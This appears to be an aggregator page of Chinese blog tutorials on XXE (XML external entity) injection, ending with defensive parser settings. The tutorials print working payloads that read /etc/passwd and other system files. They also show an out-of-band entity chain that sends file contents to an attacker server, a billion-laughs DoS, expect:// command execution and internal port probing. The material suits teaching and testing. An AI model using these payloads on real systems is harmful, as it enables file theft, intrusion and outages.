精华内容
下载资源
问答
  • XML外部实体注入

    2019-11-19 20:40:06
    最近做了一道WEB题,涉及到XML外部实体注入(即XXE漏洞),恰好也没有系统的学习过,这次就了解一些其攻击方式包含的原理,并通过WEB题来实战一番。 0x01:简单了解XML XML 指可扩展标记语言(EXtensible Markup ...

    本文首发于先知社区

    XML外部实体注入

    前言:

    最近做了一道WEB题,涉及到XML外部实体注入(即XXE漏洞),恰好也没有系统的学习过,这次就了解一些其攻击方式包含的原理,并通过WEB题来实战一番。

    0x01:简单了解XML

    XML 指可扩展标记语言(EXtensible Markup Language)
    XML 是一种标记语言,很类似 HTML
    XML 被设计为传输和存储数据,其焦点是数据的内容
    XML 被设计用来结构化、存储以及传输信息
    XML 允许创作者定义自己的标签和自己的文档结构
    

    XML的优点:

    xml是互联网数据传输的重要工具,它可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。

    XML的特点及作用:

    特点:

     1. xml与操作系统、编程语言的开发平台都无关
     2. 实现不同系统之间的数据交互
    

    作用:

     1. 配置应用程序和网站
     2. 数据交互
    

    而且在配置文件里边所有的配置文件都是以XMl的格式来编写的,跨平台进行数据交互,它可以跨操作系统,也可以跨编程语言的平台,所以可以看出XML是非常方便的,应用的范围也很广,但如果存在漏洞,那危害就不言而喻了。

    XML语法、结构与实体引用:

    语法:

    1.XML元素都必须有关闭标签。
    2.XML 标签对大小写敏感。
    3.XML 必须正确地嵌套。
    4.XML 文档必须有根元素。
    5.XML 的属性值须加引号。
    

    结构:

    1.XML 文档声明,在文档的第一行
    2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
    3.XML 文档元素
    

    如:
    在这里插入图片描述
    实体引用:
    在 XML 中一些字符拥有特殊的意义,如果把字符 < 放在 XML 元素中,便会发生错误,这是因为解析器会把它当作新元素的开始。
    例如:

    <message>hello < world</message>
    

    便会报错,为了避免这些错误,可以实体引用来代替 < 字符

    <message>hello &lt; world</message>
    

    XML 中,有 5 个预定义的实体引用,分别为:
    在这里插入图片描述
    上面提到XML 文档类型定义,即DTD,XXE 漏洞所在的地方,为什么这个地方会产生XXE漏洞那,不要着急,先来了解一下DTD。

    0x02 了解DTD:

    文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    优点:

    有了DTD,每个XML文件可以携带一个自身格式的描述。
    有了DTD,不同组织的人可以使用一个通用DTD来交换数据。
    

    DTD文档的三种应用形式:

    1.内部DTD文档

    <!DOCTYPE 根元素[定义内容]>
    

    2.外部DTD文档

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
    

    3.内外部DTD文档结合

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
    

    例如:
    上半部分是内部DTD文档,下半部分是XML文档
    在这里插入图片描述
    #PCDATA(Parsed Character Data) ,代表的是可解析的字符数据,即字符串

    下面再举一个外部DTD文档的例子:
    新建一个DTD文档,文件名叫LOL.dtd,内容如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT game (lol, dota, dnf)>
    <!ELEMENT lol (#PCDATA)>
    <!ELEMENT dota (#PCDATA)>
    <!ELEMENT dnf (#PCDATA)>
    

    再新建一个XML文档,加入外部DTD文件的名称(同一个路径下只给出文件名即可)

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE game SYSTEM "LOL.dtd">
    <game>
        <lol>a</lol>
        <dota>b</dota>
        <dnf>c</dnf>
    </game>
    

    具体例子可以参考
    有效的XML: DTD(文档类型定义)介绍

    DTD元素

    在一个 DTD 中,元素通过元素声明来进行声明。
    在这里插入图片描述
    其中可以看到一些PCDATA或是CDATA,这里简单叙述一下:

    PCDATA:

    PCDATA 的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何 & < > 字符;需要使用 &amp; &lt; &gt; 实体来分别替换它们。

    CDATA:
    CDATA 的意思是字符数据(character data)CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

    简单比较直观的就是这样的一种解释:
    PCDATA表示已解析的字符数据。
    CDATA是不通过解析器进行解析的文本,文本中的标签不被看作标记。CDATA表示里面是什么数据XML都不会解析

    DTD-实体

    实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
    实体引用是对实体的引用。
    实体可在内部或外部进行声明。
    

    内部实体

    <!ENTITY 实体名称 "实体的值">
    

    一个实体由三部分构成: &符号, 一个实体名称, 以及一个分号 (;)
    例如:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY xxe "hello">]>
    <foo>&xxe;</foo>
    

    外部实体

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

    file:///path/to/file.ext
    http://url/file.ext
    php://filter/read=convert.base64-encode/resource=conf.php
    

    在这里插入图片描述

    <!ENTITY 实体名称 SYSTEM "URL">
    

    参数实体

    <!ENTITY %实体名称 "值">
    <!ENTITY %实体名称 SYSTEM "URL">
    

    例如:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>
    

    外部evil.dtd中的内容

    <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
    

    外部实体可支持httpfile等协议,所以就有可能通过引用外部实体进行远程文件读取

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>
    

    上述代码中,XML的外部实体xxe被赋予的值为:file:///etc/passwd当解析xml文档是,&xxe;会被替换为file:///ect/passwd的内容,导致敏感信息泄露

    (例子参考大师傅博客XXE漏洞学习

    可能这些知识点会枯燥无味,但XXE主要是利用了DTD引用外部实体而导致的漏洞,所以了解还是很有必要的,接下来就要进入正题咯。

    0x02:一步一步接近XXE漏洞

    漏洞危害:

    如果开发人员在开发时允许引用外部实体时,恶意用户便会利用这一漏洞构造恶意语句,从而引发文件读取命令执行内网端口扫描攻击内网网站发起dos攻击等,可见其危害之大。

    XXE常见的几种攻击方式

    在这里插入图片描述
    (这张图其实就很好的解释了如何利用XXE进行攻击)

    XXESQL注入的攻击方法也有一点相似,就是有回显和没有回显

    有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据

    下面就通过构造一些简单的环境来了解一下各个攻击方法究竟是如何利用的

    一、读取任意文件(有回显与无回显)

    测试源码:

    <?php
    $xml=simplexml_load_string($_GET['xml']);
    print_r((string)$xml);//有回显
    ?>
    

    构造payload:

    <?xml version="1.0" enyoucoding="utf-8"?>
    <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
    <root>&file;</root>
    

    将payload进行url编码,传入即可读取任意文件
    在这里插入图片描述
    根据结果我们可以看到通过构造内部实体的payload,在 xml&file ; 已经变成了外部文件1.txt中内容,导致敏感信息泄露。

    下
    下面通过靶场来进行练习有回显读取文件和无回显读取文件,抓包发现通过XML进行传输数据
    在这里插入图片描述
    发现响应包的内容为usrename
    在这里插入图片描述
    构造payload

    <?xml version="1.0"?>
    <!DOCTYPE hack [
    <!ENTITY test SYSTEM  "file:///d:/1.txt">
    ]>
    <user>
      <username>&test;</username>
      <password>hack</password>
    </user>
    

    在这里插入图片描述
    file:///d:/1.txt改为file:///c:/windows/win.ini等其他重要文件都是可以读取的,也可以读取PHP文件等。
    在这里插入图片描述
    解码后即是PHP代码的内容
    在这里插入图片描述
    上面利用内部实体外部实体分别构造了不同的payload,而且我们发现这个靶场是有回显的,通过回显的位置我们观察到了响应包的内容,以此为依据进行构造payload,从而达到任意读取文件的目的。

    但这种攻击方式属于传统的XXE,攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,那如果对方服务器没有回显应该如何进行注入

    下面就将源码修改下,将输出代码和报错信息禁掉,改成无回显
    在这里插入图片描述
    再次进行注入,发现已经没有回显内容
    在这里插入图片描述
    下面就利用这个靶场来练习无回显的文件读取,遇到无回显这种情况,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

    这里我使用的攻击服务器地址为192.168.59.132,构造出如下payload:

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php">
    <!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml">
    %dtd;
    %send;
    ]>
    

    在这里插入图片描述
    evil.xml

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload;
    //%号要进行实体编码成&#x25
    

    evil.xml放在攻击服务器的web目录下进行访问
    在这里插入图片描述
    这里如果不是管理员,需要更改一下对目录的管理权限等,这里偷个懒权限全调至最高
    在这里插入图片描述
    至此准备工作完毕,下面就监控下apache的访问日志
    在这里插入图片描述
    请求几次,发现
    在这里插入图片描述
    接下来就base64解码即可

    实验完成,但为什么那,简单的解释下:

    payload 中能看到 连续调用了三个参数实体 %dtd;%file;%send;,这就是利用先后顺序,%dtd 先调用,调用后请求远程服务器(攻击服务器)上的evil.xml,类似于将evil.xml包含进来,然后再调用 evil.xml中的 %file, %file 就会去获取对方服务器上面的敏感文件,然后将 %file 的结果填入到 %send ,再调用 %send; 把我们的读取到的数据发送到我们的远程主机上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

    无回显的构造方法也有几种固定的模板,如:
    一、第一种命名实体+外部实体+参数实体写法

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE data [
    <!ENTITY % file SYSTEM "file:///c://test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
    %dtd; %all; 
    ]> 
    <value>&send;</value>
    

    evil.xml文件内容为

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
    

    二、第二种命名实体+外部实体+参数实体写法

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
    %dtd;
    %send;
    ]>
    <root></root>
    

    evil.xml文件内容为:

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
    

    二、DOS攻击(Denial of service:拒绝服务)

    几乎所有可以控制服务器资源利用的东西,都可用于制造DOS攻击。通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS

    例如常见的XML炸弹

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    

    XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。 所以这个1K不到的文件经过解析后会占用到3G的内存,可见有多恐怖,不过现代的服务器软硬件大多已经抵御了此类攻击。

    防御XML炸弹的方法也很简单禁止DTD或者是限制每个实体的最大长度

    三、命令执行

    在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:

    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
      <!ENTITY f SYSTEM "except://ls">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>
    

    四、内网探测

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
    <root>
    

    在这里插入图片描述
    后面的403禁止就很明显的说明了该端口是开放状态的

    如果这里再尝试一下没有开放的端口,发现
    在这里插入图片描述
    因此也可以利用这种方法来探测内网端口以及对内网进行攻击等

    总结:

    通过这次学习,有get的新的知识,继续努力学习吧!

    参考博客:
    XXE漏洞攻防原理
    XXE漏洞
    推荐靶场:
    phpaudit-XXE
    xxe-lab

    展开全文
  • 转自腾讯安全应急响应中心一、XML基础知识XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是...DTD 可以在 XML 文档内声明,也可以外部引用。内部声明DTD根元素 [元素声明]>引用...

    转自腾讯安全应急响应中心

    一、XML基础知识

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    df86cc6cfc3c58815aec9f72b5385c6d.png

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    内部声明DTD

    根元素 [元素声明]>

    引用外部DTD

    根元素 SYSTEM "文件名">

    或者

    根元素 PUBLIC "public_ID" "文件名">

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

    内部声明实体

    引用外部实体

    或者

    二、XML外部实体注入(XML External Entity)

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    引入外部实体方式有多种,比如:

    恶意引入外部实体方式1:

    XML内容:

    1c26ad8c4c4106a98403d6f5d150ba2e.png

    恶意引入外部实体方式2:

    XML内容:

    d01d4b02dec5d0908135bf3f1037049f.png

    DTD文件(evil.dtd)内容:

    94b36a263304f6b176fddc0fdb626118.png

    恶意引入外部实体方式3:

    XML内容:

    7fcbe77b2414d412c4ab11693b977602.png

    DTD文件(evil.dtd)内容:

    ba7e098b248ec92eea70baee6f88e8dd.png

    另外,不同程序支持的协议不一样,

    39e1dd29c6c6c56704bfe3ed6ac3f02c.png

    上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

    b899ac707116a4de2817138b0b56224a.png

    以下举例说明XXE危害,当然XXE不止这些危害。

    XXE危害1:读取任意文件

    fb5ec9b499bca37636dbd294ad3ee52a.png

    8c499c28b7e086ec7dff396832d249be.png

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    另外,数据不回显就没有问题了吗?如下图,

    9bcac3a37e0cae18de3060d56b34ac94.png

    不,可以把数据发送到远程服务器,

    569a30912a051192b0b72d6444085bfd.png

    远程evil.dtd文件内容如下:

    171001e08a32914b654242b82a6bac94.png

    触发XXE攻击后,服务器会把文件内容发送到攻击者网站

    f84964a3f61f96a82a93a2477093347f.png

    27abc6b566c5f5e21e201df878b53a74.png

    XXE危害2:执行系统命令

    1197413832e808b049f76fd951a3cfb4.png

    921e40c5f0027081d3fe4ac7f7364d09.png

    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    XXE危害3:探测内网端口

    ed5dac2a9d7b24c068a71c37408db766.png

    6cae3d142509a02f81b02d09ccb34e8d.png

    该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

    XXE危害4:攻击内网网站

    b020313236c6a9b03df3d8e266c353be.png

    bd0cd994130fc5e5fb2bb308907ede1f.png

    该CASE是攻击内网struts2网站,远程执行系统命令。

    三、客户端XXE案例

    日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时,读取xml文件且允许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情如下:

    新建一个正常文档,内容为Hi TSRC,

    cac31d6e289ee39a5019ab305bd87b30.png

    使用该软件转换后可以得到文本格式的文档内容,

    d7f9c3061a465588785d8255cbf36a29.png

    a76427f099c995215939b8cf25d3b828.png

    当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。

    9ea96533df6677a4aaceb86a8fccc48c.png

    dd157ea7ffb0f49d01571b30e2725170.png

    四、防御XXE攻击

    方案一、使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二、过滤用户提交的XML数据

    关键词:!ENTITY,或者,SYSTEM和PUBLIC。

    展开全文
  • XML 外部实体注入漏洞

    千次阅读 2021-11-14 19:35:35
    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传进行XXE攻击 2.3 通过修改Content-Type头进行XXE攻击...

    0x01 XXE(XML外部实体注入)漏洞

    1.1 漏洞原因

    1.2 漏洞构造方式

    1.3 XML可解析的协议

    0x02 寻找XXE漏洞隐藏的攻击面

    2.1 XInclude攻击

    2.2 通过文件上传进行XXE攻击

    2.3 通过修改Content-Type头进行XXE攻击

    0x03 如何查找和测试XXE漏洞


    0x01 XXEXML外部实体注入)漏洞

    1.1 漏洞原因

        XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。

        libxml<2.9 默认开启

    1.2 漏洞构造方式

    1.2.1 直接通过DTD外部实体声明

    <?xml version="1.0"?>
    
    <!DOCTYPE a[
    
        <!ENTITY b SYSTEM "file:///etc/passwd">
    
    ]>
    
    <a>&b;</a>

    1.2.2 通过DTD外部实体声明引入外部DTD文档

    #构造数据包
    <?xml version="1.0"?>
    
    <!DOCTYPE m [
    
           <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
    
    ]>
    
    <a>&b;</a>
    
    #而http://mark4z5.com/evil.dtd内容为
    
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ​
     

    1.2.3 通过DTD外部实体声明引入DTD文档

    # 构造数据包
    <?xml version="1.0"?>
    
    <!DOCTYPE a [
    
        <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
    
    ]>
    
    <a>%b;</a>
    
    #http://mark4z5.com/evil.dtd文件内容
    
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ​
     

    1.3 XML可解析的协议

    libxml2

    file、http、ftp

    PHP

    file、http、ftp、php、glob、data...

    JAVA

    file、http、ftp、https、jar、gopher...

    .NET

    file、http、ftp、https

    0x02 寻找XXE漏洞隐藏的攻击面

        XXE漏洞的攻击面通常为HTTP传输流量下的XML数据请求,但是在其他方面可能也存在XXE漏洞。

    2.1 XInclude攻击

        一些应用程序在用户提交数据后,服务器将数据嵌入到XML文档中,然后对XML进行解析。例如当客户端提交的数据被放入后端的SOAP请求,然后由SOAP服务处理时,就会发生这种情况。

        由于无法控制XML文档,对DTD文档进行修改触发而XXE漏洞,我们可以使用Xinclude进行攻击。XInclude 是一种使用元素、属性以及 URI 引用来合并 XML 文档的机制,它是XML规范的一部分,允许在子文档中构建XML文档。我们可以在XML文档中放入恶意数据来进行XInclude攻击,攻击条件为我们可以控制传输中的数据,将其替换为服务器短的XML文件。

        通过参考XInclude命名空间和提供我们想要包含的文件路径,可以完成XInclude的XXE攻击。

    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/></foo>

    2.2 通过文件上传进行XXE攻击

        一些应用程序允许上传使用XML或者包含XML组件的格式文件,并且在服务端会对其进行处理、验证,常见的有DOCX、SVG等格式。

        尤其在图片上传中,服务端可能期望获取到PNG、JPG格式的图片,但是服务端使用的处理库可能同样是支持SVG格式的,所以我们可以通过上传SVG格式的图片来进行XXE攻击。

    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
     

    2.3 通过修改Content-Type头进行XXE攻击

        大多数情况下,POST请求包使用的是默认的application/x-www-form-urlencoded。有些网站希望接收这种格式的请求,但会容忍其他内容类型,包括XML。

    # 普通的请求包:
    
    POST /action HTTP/1.0
    
    Content-Type: application/x-www-form-urlencoded
    
    Content-Length: 7
    
    
    foo=bar
    
    # 可以替换为:
    
    POST /action HTTP/1.0
    
    Content-Type: text/xml
    
    Content-Length: 52
    
    
    <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
     

          如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

    0x03 如何查找和测试XXE漏洞

        通过定义一个指向系统文件的外部实体,尝试对系统文件目录进行遍历,查看返回包是否包含XXE注入信息。

        构建http://dnslog.cn/等基于可控的外部实体注入,然后对可控URL进行监控,判断是否存在XXE漏洞。

        对于用户端使用非XML文档交互的接口,使用XInclude攻击来尝试包含一个有用的系统文件。

    参考资料:

    XXE漏洞详解(XML外部实体注入)_谢公子的博客-CSDN博客

    What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy

      

       

       

       

    展开全文
  • 防止 XML外部实体注入

    千次阅读 2021-02-28 17:53:08
    方式一DocumentBuilderFactory dbf = DocumentBuilderFactory.... 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";dbf.setFea...

    方式一

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

    // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击

    String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";

    dbf.setFeature(FEATURE, true);

    FEATURE = "http://xml.org/sax/features/external-general-entities";

    dbf.setFeature(FEATURE, false);

    FEATURE = "http://xml.org/sax/features/external-parameter-entities";

    dbf.setFeature(FEATURE, false);

    FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";

    dbf.setFeature(FEATURE, false);

    dbf.setXIncludeAware(false);

    dbf.setExpandEntityReferences(false);

    org.w3c.dom.Document documentW3c = dbf.newDocumentBuilder().parse(tempFile);

    方式二

    JAXBContext context = JAXBContext.newInstance(klass);

    XMLInputFactory xif = XMLInputFactory.newFactory();

    xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

    xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

    XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));

    Unmarshaller unmarshaller = context.createUnmarshaller();

    return unmarshaller.unmarshal(xsr);

    展开全文
  • XXE注入全称是xml external entity 注入,也就是xml外部实体注入。XXE漏洞发生在应用程序解析输入的XML时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行等攻击。 一、XML简介 XML是一...
  • XML外部实体注入(XXE)

    2021-09-08 11:32:05
    关键利用点:外部实体 XML是什么? XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD...1.2 在 XML 声明和stockCheck元素之间插入以下外部实体定义: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "fil
  • JAXB血案之 XML外部实体注入漏洞(XXE)

    千次阅读 2019-04-22 17:31:51
    JAXB血案之 XML外部实体注入漏洞(XXE) 开始正文之前,我们的口号是:代码很有趣,安全很重要。 什么?你问我累了怎么办?自然是看美女了,送福利哈哈。 1.漏洞描述 XML外部实体注入漏洞,即XXE(XML External ...
  • Xml外部实体注入漏洞(XXE)与防护

    千次阅读 2019-03-22 16:19:11
    转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言...DTD 可以在 XML 文档内声明,也可以外部引用。 ...
  • XXE漏洞(XML外部实体注入

    千次阅读 2020-02-20 14:34:50
    XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的...
  • 禁用外部实体 过滤用户提交的XML数据 前言 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。 DTD(文档类型定义...
  • 文章目录 一、XML基础 1、什么是XML 2、基本语法 3、XML 语法特性 4、文档定义类型 5、 XML 自定义实体 6、什么是 XML 外部实体? 二、XXE 1、原理 2、危害 三、攻击类型(有回显) 1、文件读取 2、利用XXE执行SSRF...
  • —— 泰戈尔 《生如夏花》01XML基础XML首先要先说下 xmlxml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种写法类似于 html 语言的数据格式文档。但是 xml 跟 html 是为不同目的而设计的...
  • libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。 使用如下命令编译并启动环境: docker-compose up -d ...
  • XML External Entity (XML外部实体) 原理:用户输入的数据被当做XML实体代码进行执行 XXE==>用户输入的数据被当做XML代码进行了执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求从而获得数据 XML 可...
  • 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而...
  • XML 外部实体注入---XXE

    2020-12-29 16:53:15
    文章目录XML介绍及用途XML语法规则XML元素介绍XML DTD介绍DTD 声明类型DTD 数据类型DTD 实体介绍XML 注入(XXE)产生的原理简单的XXE 漏洞代码编写file_get_contents()函数php封装协议---...输出函数XXE 漏洞利用任意...
  • Xml外部实体注入(XXE) 除了json外,xml也是一种常用的数据传输格式。对xml的解析有以下几种常用的方式:DOM,SAX,JDOM,DOM4J,StAX等。然而这几种解析方式都可能会出现外部实体注入漏洞,如微信支付的回调就出现...
  • XXE攻击 (XML External Entity),此漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。 具体的可以...
  • XML外部实体注入学习

    2021-08-25 22:45:10
    最近做题做到XXE 这类型的题,也没有系统学习过,只是简单知道他和 XML 有关,这次就了解了一下XXE 漏洞 简单了解XML XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被...
  • XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的...
  • xxe-xml外部实体注入

    2021-07-27 02:57:41
    XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的...
  • XXE漏洞详解(XML外部实体注入)

    万次阅读 2019-01-12 20:28:26
    目录 XXE XXE漏洞演示利用 Blind OOB XXE 场景1 – 端口扫描 场景2 – 通过DTD窃取文件 ...在学习XXE漏洞之前,我们先了解下XML。...XML和JSON数据格式 ...XXE(XML ExternalEntity Injection)也就是XML...
  •  XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认...
